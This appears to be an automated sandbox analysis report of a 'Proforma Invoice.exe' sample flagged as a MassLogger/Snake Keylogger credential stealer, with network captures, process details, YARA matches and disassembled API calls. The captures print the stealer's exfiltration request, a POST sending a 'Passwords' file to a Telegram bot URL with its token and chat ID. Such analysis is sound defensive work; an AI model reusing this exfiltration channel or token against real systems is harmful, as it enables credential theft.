Dec 23, 2024 21:50:20.324302912 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 20:50:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.21.67.152	443	7324	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 20:50:14 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-23 20:50:14 UTC	858	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 20:50:14 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 301803 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7XcMpymYcc783bZZ4ipxDUDYauXDYwon%2BUbVsceIVT%2B1Jl4aXkGDrW4cja6ng9CNfBeKmMR5xwJDNwCD%2BN7f5uoXT0NOdhaoOUh4Wq4o87Mzv3AUsmGt%2BuF8l%2BzAMvcjdShqA7AX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6b39096fea8cd4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1939&min_rtt=1938&rtt_var=730&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1496668&cwnd=164&unsent_bytes=0&cid=f8b238f3f1e27d1c&ts=464&x=0"
2024-12-23 20:50:14 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	149.154.167.220	443	7324	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 20:50:21 UTC	295	OUT	POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd236981062ef2 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-23 20:50:21 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 33 36 39 38 31 30 36 32 65 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd236981062ef2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-23 20:50:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 23 Dec 2024 20:50:22 GMT Content-Type: application/json Content-Length: 556 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-23 20:50:22 UTC	556	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 35 32 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 30 38 36 36 32 37 37 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 4f 56 41 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6b 75 6c 6c 73 6e 6f 76 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 38 33 39 38 32 39 34 37 37 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 6b 77 61 6e 64 61 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 53 6b 75 6c 6c 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 69 67 34 6d 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 39 38 37 30 32 32 2c 22 64 6f 63 75 Data Ascii: {"ok":true,"result":{"message_id":25240,"from":{"id":7708662779,"is_bot":true,"first_name":"NOVA","username":"Skullsnovabot"},"chat":{"id":5839829477,"first_name":"Makwanda","last_name":"Skulls","username":"Big4m","type":"private"},"date":1734987022,"docu

Target ID:	0
Start time:	15:50:04
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\Proforma Invoice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Proforma Invoice.exe"
Imagebase:	0x6a0000
File size:	955'392 bytes
MD5 hash:	58D259F56B4715BCEA1DDEBBC2735EB2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:50:05
Start date:	23/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Proforma Invoice.exe"
Imagebase:	0xcf0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	4.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 006A3B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 006A3B68
IsDebuggerPresent.KERNEL32 ref: 006A3B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,007652F8,007652E0,?,?), ref: 006A3BEB

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

Part of subcall function 006B092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,006A3C14,007652F8,?,?,?), ref: 006B096E

SetCurrentDirectoryW.KERNEL32(?), ref: 006A3C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00757770,00000010), ref: 006DD281
SetCurrentDirectoryW.KERNEL32(?,007652F8,?,?,?), ref: 006DD2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00754260,007652F8,?,?,?), ref: 006DD33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 006DD346

Part of subcall function 006A3A46: GetSysColorBrush.USER32(0000000F), ref: 006A3A50
Part of subcall function 006A3A46: LoadCursorW.USER32(00000000,00007F00), ref: 006A3A5F
Part of subcall function 006A3A46: LoadIconW.USER32(00000063), ref: 006A3A76
Part of subcall function 006A3A46: LoadIconW.USER32(000000A4), ref: 006A3A88
Part of subcall function 006A3A46: LoadIconW.USER32(000000A2), ref: 006A3A9A
Part of subcall function 006A3A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 006A3AC0
Part of subcall function 006A3A46: RegisterClassExW.USER32(?), ref: 006A3B16

Part of subcall function 006A39D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 006A3A03
Part of subcall function 006A39D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 006A3A24
Part of subcall function 006A39D5: ShowWindow.USER32(00000000,?,?), ref: 006A3A38
Part of subcall function 006A39D5: ShowWindow.USER32(00000000,?,?), ref: 006A3A41

Part of subcall function 006A434A: _memset.LIBCMT ref: 006A4370
Part of subcall function 006A434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 006A4415

Strings

%s, xrefs: 006A3C44
runas, xrefs: 006DD33A
This is a third-party compiled AutoIt script., xrefs: 006DD279

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas$%s
API String ID: 529118366-1632493683
Opcode ID: dbb066ae5d248ddb0863179172a5f793ee6f99c4a6aadb0ebaa7b7b71d65784f
Instruction ID: 95a25beaf68361fc22ce2bf5f46464c684aad333e69ffed89a6ffa1c0fdd078d
Opcode Fuzzy Hash: dbb066ae5d248ddb0863179172a5f793ee6f99c4a6aadb0ebaa7b7b71d65784f
Instruction Fuzzy Hash: 1451F9B0D04248AEDB11FBB4DC15EED7B7ABF46710F008069F41366252DAB85E46DF29

Function 006A49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 006A49CD

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

GetCurrentProcess.KERNEL32(?,0072FAEC,00000000,00000000,?), ref: 006A4A9A
IsWow64Process.KERNEL32(00000000), ref: 006A4AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 006A4AE7
FreeLibrary.KERNEL32(00000000), ref: 006A4AF2
GetSystemInfo.KERNEL32(00000000), ref: 006A4B23
GetSystemInfo.KERNEL32(00000000), ref: 006A4B2F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 4bc715814643ebf200cf1656a9baf25731e89a280ba627274412472558a58df7
Instruction ID: c3fee00f00cfc1845ff8536d0c8fdaf9864c808563179162a29f81eafe71b7d8
Opcode Fuzzy Hash: 4bc715814643ebf200cf1656a9baf25731e89a280ba627274412472558a58df7
Instruction Fuzzy Hash: 9D91D8319897C0DEC731EB6888501EAFFF6AF6A300F4449AED0C753B01D661A908DB6D

Function 006A4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,006A4D8E,?,?,00000000,00000000), ref: 006A4E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,006A4D8E,?,?,00000000,00000000), ref: 006A4EB0
LoadResource.KERNEL32(?,00000000,?,?,006A4D8E,?,?,00000000,00000000,?,?,?,?,?,?,006A4E2F), ref: 006DD937
SizeofResource.KERNEL32(?,00000000,?,?,006A4D8E,?,?,00000000,00000000,?,?,?,?,?,?,006A4E2F), ref: 006DD94C
LockResource.KERNEL32(006A4D8E,?,?,006A4D8E,?,?,00000000,00000000,?,?,?,?,?,?,006A4E2F,00000000), ref: 006DD95F

Strings

SCRIPT, xrefs: 006A4EA6

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 2a2a9c1caae85e503c8c5b39265de8b276e5bd734989d88ee5144764ebfabc61
Instruction ID: 96518a944703a00b26529721819b9ba620e459887c084374f01509554ac2d8a3
Opcode Fuzzy Hash: 2a2a9c1caae85e503c8c5b39265de8b276e5bd734989d88ee5144764ebfabc61
Instruction Fuzzy Hash: 91115E75240700BFD7219B65EC48F677BBAFBC6B11F108278F405D6250DBB1EC018A60

Function 006AE6A0 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON

Download Yara Rule

Strings

Ddv, xrefs: 006E3AF5
Ddv, xrefs: 006AEAC1
Ddv, xrefs: 006AEABA
Variable must be of type 'Object'., xrefs: 006E3E62
Ddv, xrefs: 006E3B2E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID: Ddv$Ddv$Ddv$Ddv$Variable must be of type 'Object'.
API String ID: 0-1189019815
Opcode ID: 377f6c0f41ecb580fb959ae721c2c9690c0b7b2843de69ae14971267976f7d30
Instruction ID: ea63eb31686fb690accd7ef90abca159e3daaf8c230cabac74ade04e36c940f3
Opcode Fuzzy Hash: 377f6c0f41ecb580fb959ae721c2c9690c0b7b2843de69ae14971267976f7d30
Instruction Fuzzy Hash: 20A29E74A00215CFCB24EF58C494AAAB7B3FF5A310F648069E906AB351D776ED42CF91

Function 0070445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,006DE398), ref: 0070446A
FindFirstFileW.KERNELBASE(?,?), ref: 0070447B
FindClose.KERNEL32(00000000), ref: 0070448B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: a6ba76f7970a1a4f0f71d79d2a6fcf9898cbb4ffcf362ee4779f87cf29e08dd2
Instruction ID: a44c1326fe3941aefda3e8c9761e2cf92a6caf20821848b6bf083bfa65e4a909
Opcode Fuzzy Hash: a6ba76f7970a1a4f0f71d79d2a6fcf9898cbb4ffcf362ee4779f87cf29e08dd2
Instruction Fuzzy Hash: B3E0D872410540E78220AB38EC0D8ED77ECEE06335F10472AF935C10D0E77C5D009599

Function 006B09D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 006B0A5B
timeGetTime.WINMM ref: 006B0D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 006B0E53
Sleep.KERNEL32(0000000A), ref: 006B0E61
LockWindowUpdate.USER32(00000000,?,?), ref: 006B0EFA
DestroyWindow.USER32 ref: 006B0F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 006B0F20
Sleep.KERNEL32(0000000A,?,?), ref: 006E4E83
TranslateMessage.USER32(?), ref: 006E5C60
DispatchMessageW.USER32(?), ref: 006E5C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 006E5C82

Strings

pbv, xrefs: 006E5003
@GUI_CTRLID, xrefs: 006E4F3A
@COM_EVENTOBJ, xrefs: 006E54F0
pbv, xrefs: 006E57B4
@GUI_CTRLHANDLE, xrefs: 006E4FE4
pbv, xrefs: 006E4F59
@GUI_WINHANDLE, xrefs: 006E4F8F
pbv, xrefs: 006E4FAE
@TRAY_ID, xrefs: 006E578F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pbv$pbv$pbv$pbv
API String ID: 4212290369-3945742284
Opcode ID: 9ba7a1de740d4c8b9a7347b4e6d6dcd3ec46da94e27832ab95552addf5a2d78a
Instruction ID: 7daf87ff31d441e4bad32743a35c2274f0a4ae745f6300e4e084f4732af94450
Opcode Fuzzy Hash: 9ba7a1de740d4c8b9a7347b4e6d6dcd3ec46da94e27832ab95552addf5a2d78a
Instruction Fuzzy Hash: 55B2D170609781DFD724DF24C884BABBBE6BF85304F14491DF54A872A1CB75E885CB86

Function 00709155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00708F5F: __time64.LIBCMT ref: 00708F69

Part of subcall function 006A4EE5: _fseek.LIBCMT ref: 006A4EFD

__wsplitpath.LIBCMT ref: 00709234

Part of subcall function 006C40FB: __wsplitpath_helper.LIBCMT ref: 006C413B

_wcscpy.LIBCMT ref: 00709247
_wcscat.LIBCMT ref: 0070925A
__wsplitpath.LIBCMT ref: 0070927F
_wcscat.LIBCMT ref: 00709295
_wcscat.LIBCMT ref: 007092A8

Part of subcall function 00708FA5: _memmove.LIBCMT ref: 00708FDE
Part of subcall function 00708FA5: _memmove.LIBCMT ref: 00708FED

_wcscmp.LIBCMT ref: 007091EF

Part of subcall function 00709734: _wcscmp.LIBCMT ref: 00709824
Part of subcall function 00709734: _wcscmp.LIBCMT ref: 00709837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00709452
_wcsncpy.LIBCMT ref: 007094C5
DeleteFileW.KERNEL32(?,?), ref: 007094FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00709511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00709522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00709534

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 3899a84f12bff28a0544045bb73837a61bf01b40c15a0703fab04b58f4cbfed9
Instruction ID: ab3d9b1e118fe30f82634e25e78b7f5f7dd98ead85c7c5beeecaef6e1582db30
Opcode Fuzzy Hash: 3899a84f12bff28a0544045bb73837a61bf01b40c15a0703fab04b58f4cbfed9
Instruction Fuzzy Hash: 90C14DB1D00219EADF21DF95CC85EDEB7BDEF85300F0041AAF609E6192EB749A448F65

Function 006A3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 006A3074
RegisterClassExW.USER32(00000030), ref: 006A309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006A30AF
InitCommonControlsEx.COMCTL32(?), ref: 006A30CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006A30DC
LoadIconW.USER32(000000A9), ref: 006A30F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 006A3101

Strings

AutoIt v3 GUI, xrefs: 006A3090
+, xrefs: 006A305D
0, xrefs: 006A3056
TaskbarCreated, xrefs: 006A30A4

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: a9f53189233c1fbde1c3a088832bb39a653d666e2166f864ab34826884149aee
